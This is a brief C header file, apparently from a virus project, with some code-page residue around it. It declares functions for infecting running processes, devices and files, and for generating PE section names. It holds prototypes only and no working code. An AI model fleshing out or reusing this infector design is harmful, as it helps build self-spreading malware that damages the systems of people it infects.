21 lines
395 B
C
21 lines
395 B
C
#include "virus.h"
|
|
#include "stdfuncs.h"
|
|
#include "pic-peter/sections.h"
|
|
#include "pe.h"
|
|
|
|
typedef struct __SEC_INFO {
|
|
char name[8];
|
|
uint32_t flags;
|
|
void *next;
|
|
} sec_info;
|
|
|
|
|
|
int infect_running_procs();
|
|
int infect_devices();
|
|
|
|
void *infect_running_procs_ptr();
|
|
void *infect_devices_ptr();
|
|
|
|
int infect_callback(char *path, int pathLen, dir_list *fileAttr);
|
|
char *infect_gen_sec_name();
|